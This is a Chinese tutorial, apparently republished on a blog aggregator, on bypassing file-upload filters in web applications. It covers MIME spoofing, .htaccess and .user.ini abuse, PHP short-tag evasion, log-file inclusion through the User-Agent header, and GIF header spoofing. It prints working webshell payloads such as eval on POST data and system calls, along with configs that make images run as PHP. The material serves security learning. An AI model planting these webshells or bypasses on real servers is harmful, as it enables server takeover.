WEB攻防-通用漏洞-文件上传-js验证-MIME验证-user.ini-语言特征

目录

定义

1.前端验证

2.MIME验证

3.htaccess文件和.user. ini

4.对内容进行了过滤,做了内容检测

5.[ ]符号过滤

6.内容检测'php' '[]' '{}' ';'

7.'()'也被过滤了

 8.``反引号也被过滤

9.文件头检测


定义

文件上传漏洞是指攻击者上传了一个可执行文件(如木马、病毒、恶意脚本、WebShell等)到服务器执行,并最终获得网站控制权限的高危漏洞。

1.前端验证

使用js在前端做了验证后缀,但是后台没有验证,前端验证其实是我们本地的验证,如看到类似如下js验证代码

可以通过F12开发者模式,把验证代码改了来绕过

就上传成功了

之后就可以连接后门执行代码了

2.MIME验证

属于后端的验证,通过抓包可以看到Content-type字段的一个文件格式,如图就是上传了一个php文件所显示的类型

如只允许上传image/png格式,抓包将其改为允许的文件类型,就可以绕过。

注意:后门代码需要特定格式后缀解析,不能一图片后缀解析后门代码(解析漏洞除外)。图片中有后门代码,不能被触发,所以连接不上后面

而当上面都不行的时候,尝试大小写绕过,可以看上传成功

但是不一定能正常解析,像这样变成直接下载,这就是错误的解析 。这是根据中间件的一个搭建所决定的,有些大小写绕过就很尴尬,有些你改了之后呢,就会出现解析不了直接下载,或者直接保存的情况

或者是通过多后缀解析,如php5,php7

3.htaccess文件和.user. ini

首先要了解.htaccess通常用于实现URL重写、访问控制、错误页面定制、MIME类型设置等功能,且只在Apache下有效,在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps

这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。

AddType application/x-httpd-php是将所有文件按照php文件进行解析,如将jpg文件按照php文件进行解析

大部分网站都是用的fastcgi,这个东西可以理解为可以提供web服务器的一种api,而apache/nginx/iis这些服务器都会依靠这种api来运行。而在服务器以fastcgi启动运行的时候,.user.ini也是php的一种配置文件,php.iniphp的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。而.user.ini实际上就是一个可以由用户自定义的php.ini。也就是说.user.ini不仅限于 Apache 服务器,同样适用于 Nginx 和 IIS 服务器。

.user.ini.htaccess一样是对当前目录的所php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。前提是有php文件

假设在某个目录有一个.htaccess文件,配置有两种,一种如下,表示把muma.jpg文件并以php解析

<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>

或者另一种配置直接解析某一类文件

AddType application/x-httpd-php .jpg

而.user.ini文件配置则是把文件包含进php文件执行,写法同样有2种:

auto_prepend_file=auto_append_file=

理解这些前置知识之后,下面说说怎么利用在文件上传种,思路如下:

上传一个.htaccess文件/.user.ini文件,里面配置你后续需要上传的一个带有后门木马的png或其他允许的类型文件,上传成功之后,在把带有后门木马的png或其他允许的类型文件上传,就可以解析文件了。注意.htaccess文件只在Apache下有效,但是是直接设置某种格式以php解析,而.user.ini文件可以是其他的中间价,但是.user.ini必需要当前文件夹下有php文件

.htaccess上传的例子

首先创建一个.htaccess文件,写入下面配置内容

<FilesMatch "a.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>

抓包把Content-Type类型的application/octet-stream改为image/png(允许的类型)

.htaccess文件设置了a.jpg,所以后门文件也需要命名为a。jpg,再把a.jpg上传上去

这个时候就会以php去解析a.jpg了

.user.ini类似,如果是其他中间价如nginx的情况下,创建一个.user.ini文件,用上面说的两个方法包含一个我们后续要上传的后门文件a.txt

在把后门文件传上去

如果有php文件,就会被包含进php解析了,访问存在的php文件就可以getshell了

4.对内容进行了过滤,做了内容检测

经过上面的方法,user.ini和png文件都可以上传,但是包含后门代码的文件上传失败,也就是说有内容检测

测试检查是过滤的什么代码

如过滤了类似<?php这类标签

在与user.ini联用的基础上,可以尝试用短标签绕过或者是其他语言的标签绕过

<? echo'123'?> //前提是开启配置参数short_open tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123 %> //前提是开启配置参数asp tags=on
<script language="php">echo '1'</script> //不需要修改参数开

如.user.ini文件写入:

auto_prepend_file=test.png

test png文件使用短标签写后门代码 :

<?=eval($ POST[X]); ?>

修改后就成功上传了


就可以getsgell了,注意index.php可以不写,但是要记得.user.ini是需要当前目录有php文件的

5.[ ]符号过滤

在上面的基础上可能遇到[]也被过滤了

可以换成{ }

6.内容检测'php' '[]' '{}' ';'

前置知识:如果一个php文件是由纯 php代码组成,那么php结束标识 ‘?>’,可以省略,建议省略,如果省略,最后一行必须加分号,而不省略,写完整结构‘<?php ?>’,最后一行可以不写分号下面例子
 

<?php echo '123' ?> //最后一行允许不加分号<?php echo '123' ;  //必须加分号

而php中system() 函数用于执行外部程序,并显示其输出到 web 页面 ,不需要依赖echo之类的输出函数

由这个思路,不需要eval这类执行函数,结果user.ini,使用<? system('tac fl*') ?>上传即可

7.'()'也被过滤了

当括号也被过滤了,也就是说不能通过系统函数,如system()去触发了,这是可以使用反引号``。

在php中相当于直接执行系统命令

 8.``反引号也被过滤

反引号都被过滤后,基本上就很难再这基础上直接上传了,所以要换个思路,下面说说通过包含日志文件去执行

前置知识:中间件一般会记录日志,这些日志一般都会记录很多header信息,如User-Agent浏览器信息等。

所以可以通过user.ini配置让php文件包含一个中间价日志文件去执行利用代码

一般访问日志默认的位置,如果自定义就不行了

linux:/var/log/nginx/access.log

windows:C:\nginx\conf\nginx.conf

流程还是和user.ini一样的,让user.ini包含1.png,然后1.png里使用include把日志文件包含进来,有可能log关键字会被过滤,下面的写法通过字符拼接绕过

auto_prepend_file=1.png			//.user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?>		//1.png内容

在通过UA来插入后门代码

再去访问就可以被触发

9.文件头检测

以winhex打开一张gif,可以看到他是以GIF89a开头,这个就是文件头特征

常见的文件头:

知道什么是文件头之后,只需要在原来的基础上,加上对应的文件头就可以了 ,比如上传user.ini或后门文件,在最开始的地方加上文件头

//.user.ini文件配置
GIF89a
auto_prepend_file=1.png		//1.png文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		

后面访问是一样的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/64452.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索与决策的完美结合:Actor-Critic 方法及其衍生算法

引言 在强化学习领域&#xff0c;如何让智能体学会做出最优决策是一个关键问题。Actor-Critic 方法提供了一种高效的解决方案&#xff0c;它结合了策略梯度&#xff08;Actor&#xff09;和值函数&#xff08;Critic&#xff09;的优点&#xff0c;使智能体能够在复杂的环境中…

未来网络技术的新征程:5G、物联网与边缘计算(10/10)

一、5G 网络&#xff1a;引领未来通信新潮流 &#xff08;一&#xff09;5G 网络的特点 高速率&#xff1a;5G 依托良好技术架构&#xff0c;提供更高的网络速度&#xff0c;峰值要求不低于 20Gb/s&#xff0c;下载速度最高达 10Gbps。相比 4G 网络&#xff0c;5G 的基站速度…

数据交易和联邦学习的背景下的安全属性

数据交易和联邦学习的背景下的安全属性 在数据交易和联邦学习的背景下,安全属性对于保护数据隐私、确保系统可靠性和维护交易公平性至关重要。以下将分析文章中涉及的安全属性以及分析这些属性的目的。 涉及的安全属性 双向认证:文章虽未明确提及传统意义上的双向认证机制,…

QWT 之 QwtPlotDirectPainter直接绘制

QwtPlotDirectPainter 是 Qwt 库中用于直接在 QwtPlot 的画布上绘制图形的一个类。它提供了一种高效的方法来实时更新图表&#xff0c;特别适合需要频繁更新的数据可视化应用&#xff0c;例如实时数据流的显示。 使用 QwtPlotDirectPainter 的主要优势在于它可以绕过 QwtPlot 的…

改变HTML元素的方式有哪些?如何在HTML中添加/替换或删除元素?

使用 JavaScript 的 DOM 操作 如果想要修改元素的样式&#xff0c;就要先获取元素之后再进行下一步操作 获取元素&#xff1a;可以使用等方法获取到需要操作的 HTML 元素。 document.getElementById() document.getElementsByClassName() document.getElementsByTagName() d…

SuperMap iClient3D for Cesium等高线标注

kele 前言 在三维地形分析中&#xff0c;等高线分析是一种非常重要的分析方法&#xff0c;它能直观的表达出地形的高低起伏特征&#xff0c;在三维系统中受到广泛应用。在SuperMap iClient3D for Cesium中&#xff0c;等高线分析是前端GPU分析&#xff0c;能够分析并渲染出等高…

从 x86 到 ARM64:CPU 架构的进化与未来

在计算机发展的历史长河中&#xff0c;x86、x64 和 ARM64 这三大主流 CPU 架构各自书写了辉煌的篇章。它们不仅代表了技术的进步&#xff0c;更承载着无数创新者的梦想与努力。 x86&#xff1a;从 16 位到 32 位的辉煌之路 诞生与崛起 1978 年&#xff0c;英特尔&#xff08;…

红魔电竞PadPro平板解BL+ROOT权限-KernelSU+LSPosed框架支持

红魔Padpro设备目前官方未开放解锁BL&#xff0c;也阉割了很多解锁BL指令&#xff0c;造成大家都不能自主玩机。此规则从红魔8开始&#xff0c;就一直延续下来&#xff0c;后续的机型大概率也是一样的情况。好在依旧有开发者进行适配研究&#xff0c;目前红魔PadPro平板&#x…

TCP Analysis Flags 之 TCP Out-Of-Order

前言 默认情况下&#xff0c;Wireshark 的 TCP 解析器会跟踪每个 TCP 会话的状态&#xff0c;并在检测到问题或潜在问题时提供额外的信息。在第一次打开捕获文件时&#xff0c;会对每个 TCP 数据包进行一次分析&#xff0c;数据包按照它们在数据包列表中出现的顺序进行处理。可…

<数据集>风力发电机损伤识别数据集<目标检测>

数据集下载链接 &#xff1c;数据集&#xff1e;风力发电机损伤识别数据集&#xff1c;目标检测&#xff1e;https://download.csdn.net/download/qq_53332949/90187097数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;2527张 标注数量(xml文件个数)&#xff1a;252…

C++ 设计模式:工厂方法(Factory Method)

链接&#xff1a;C 设计模式 链接&#xff1a;C 设计模式 - 抽象工厂 链接&#xff1a;C 设计模式 - 原型模式 链接&#xff1a;C 设计模式 - 建造者模式 工厂方法&#xff08;Factory Method&#xff09;是创建型设计模式之一&#xff0c;它提供了一种创建对象的接口&#xf…

分布式版本管理工具——Git关联远程仓库(github+gitee)

Git远程仓库&#xff08;Github&#xff09;的基本使用 一、前言二、Git远程仓库介绍三、演示1. 关联github远程仓库2. 关联gitee&#xff08;码云&#xff09;远程仓库3. 重命名远程仓库名4. 移除远程仓库 四、结束语 一、前言 古之立大事者&#xff0c;不惟有超世之才&#x…

在 React 项目中安装和配置 Three.js

React 与 Three.js 的结合 &#xff1a;通过 React 管理组件化结构和应用逻辑&#xff0c;利用 Three.js 实现 3D 图形的渲染与交互。使用这种方法&#xff0c;我们可以在保持代码清晰和结构化的同时&#xff0c;实现令人惊叹的 3D 效果。 在本文中&#xff0c;我们将以一个简…

Lucene 漏洞历险记:修复损坏的索引异常

作者&#xff1a;来自 Elastic Benjamin Trent 有时&#xff0c;一行代码需要几天的时间才能写完。在这里&#xff0c;我们可以看到工程师在多日内调试代码以修复潜在的 Apache Lucene 索引损坏的痛苦。 做好准备 这篇博客与往常不同。它不是对新功能或教程的解释。这是关于花…

嵌入式硬件面试题

1、请问什么是通孔、盲孔和埋孔&#xff1f;孔径多大可以做机械孔&#xff0c;孔径多小必须做激光孔&#xff1f;请问激光微型孔可以直接打在元件焊盘上吗&#xff0c;为什么&#xff1f; 通孔是贯穿整个PCB的过孔&#xff0c;盲孔是从PCB表层连接到内层的过孔&#xff0c;埋孔…

基础的基础之 pillow与opencv相比的特点与优缺点比较

Pillow 和 OpenCV 都是人工智能图像处理的必不可少的常用库&#xff0c;但它们有各自的特点和适用场景。 以下是它们的主要特点、优缺点以及适用场景的对比&#xff1a; 1. Pillow&#xff08;Python Imaging Library&#xff09; Pillow 是一个轻量级的图像处理库&#xff0…

深度学习J6周 ResNeXt-50实战解析

&#x1f368; 本文为&#x1f517;365天深度学习训练营中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 本周任务&#xff1a; 1.阅读ResNeXt论文&#xff0c;了解作者的构建思路 2.对比之前介绍的ResNet50V2、DenseNet算法 3.复现ResNeXt-50算法 一、模型结构…

Langchain Chat Model 和 Chat Prompt Template

0. 简介 Chat Model 不止是一个用于聊天对话的模型抽象&#xff0c;更重要的是提供了多角色提示能力&#xff08;System,AI,Human,Function)。 Chat Prompt Template 则为开发者提供了便捷维护不同角色的提示模板与消息记录的接口。 1. 构造 ChatPromptTemplate from langch…

对话 Project Astra 研究主管:打造通用 AI 助理,主动视频交互和全双工对话是未来重点

Project Astra 愿景之一&#xff1a;「系统不仅能在你说话时做出回应&#xff0c;还能在持续的过程中帮助你。」 近期&#xff0c;Google DeepMind 的 YouTube 频道采访了 Google DeepMind 研究主管格雷格韦恩 (Greg Wayne)。 格雷格韦恩的研究工作为 DeepMind 的诸多突破性成…

全国青少年信息学奥林匹克竞赛(信奥赛)备考实战之循环结构(for循环语句)(四)

实战训练1—最大差值 问题描述&#xff1a; 输入n个非负整数&#xff0c;找出这个n整数的最大值与最小值&#xff0c;并求最大值和最小值的差值。 输入格式&#xff1a; 共两行&#xff0c;第一行为整数的个数 n&#xff08;1≤n≤1000)。第二行为n个整数的值&#xff08;整…